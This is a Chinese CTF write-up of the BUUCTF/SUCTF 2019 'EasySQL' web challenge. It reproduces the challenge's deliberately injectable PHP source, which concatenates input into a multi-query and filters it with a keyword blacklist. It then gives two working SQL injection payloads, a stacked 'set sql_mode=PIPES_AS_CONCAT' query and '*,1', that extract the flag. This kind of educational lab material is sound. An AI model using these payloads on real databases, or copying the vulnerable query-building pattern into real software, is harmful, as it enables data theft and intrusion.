• buuctf刷题之旅—web—EasySQL


    打开环境,发现依旧是sql注入

     

    GitHub上有源码(https://github.com/team-su/SUCTF-2019/tree/master/Web/easy_sql)

    index.php源码

    <?php
        session_start();
        
        include_once "config.php";
        
        $post = array();
        $get = array();
        global $MysqlLink;
        
        //GetPara();
        $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
        if(!$MysqlLink){
            die("Mysql Connect Error!");
        }
        $selectDB = mysqli_select_db($MysqlLink,$dataName);
        if(!$selectDB){
            die("Choose Database Error!");
        }
        
        foreach ($_POST as $k=>$v){
            if(!empty($v)&&is_string($v)){
                $post[$k] = trim(addslashes($v));
            }
        }
        foreach ($_GET as $k=>$v){
            if(!empty($v)&&is_string($v)){
                $get[$k] = trim(addslashes($v));
            }
        }
        //die();
        ?>
    
    <html>
    <head>
    </head>
    
    <body>
    
    <a> Give me your flag, I will tell you if the flag is right. </a>
    <form action="" method="post">
    <input type="text" name="query">
    <input type="submit">
    </form>
    </body>
    </html>
    
    <?php
        
        if(isset($post['query'])){
            $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|"";
            //var_dump(preg_match("/{$BlackList}/is",$post['query']));
            if(preg_match("/{$BlackList}/is",$post['query'])){
                //echo $post['query'];
                die("Nonono.");
            }
            if(strlen($post['query'])>40){
                die("Too long.");
            }
            $sql = "select ".$post['query']."||flag from Flag";
         //sql执行语句
    mysqli_multi_query($MysqlLink,$sql); do{ if($res = mysqli_store_result($MysqlLink)){ while($row = mysqli_fetch_row($res)){ print_r($row); } } }while(@mysqli_next_result($MysqlLink)); } ?>

    SQL执行的语句:$sql="select ".$post['query']."||flag from Flag";

    第一种:堆叠注入,使得sql_mode的值为PIPES_AS_CONCAT。
    payload:setsql_mode=PIPES_AS_CONCAT;
    所以整个语句为:1;set sql_mode=PIPES_AS_CONCAT;select 1

    第二种:

    根据SQL执行语句:$sql="select ".$post['query']."||flag from Flag";

    构造出:$sql="select *,1 ||flag from Flag";

    所以直接输入“*,1”就可直接出flag

  • 相关阅读:
    通过WebService跨平台上传大文件到服务器
    C# 委托、Lambda表达式和事件——学习总结
    WIN8、WIN7访问Windows Server 2003服务器的数据库速度很慢、远程速度很慢的解决方法
    C#中接口与抽象类的区别
    DataGridView重查后,返回原来所在行
    需要开拓的领域
    FTP使用心得
    VS的几个实用快捷键
    C#中窗体、MDI的使用心得
    水晶报表使用心得
  • 原文地址:https://www.cnblogs.com/anweilx/p/12353294.html
Copyright © 2020-2023  润新知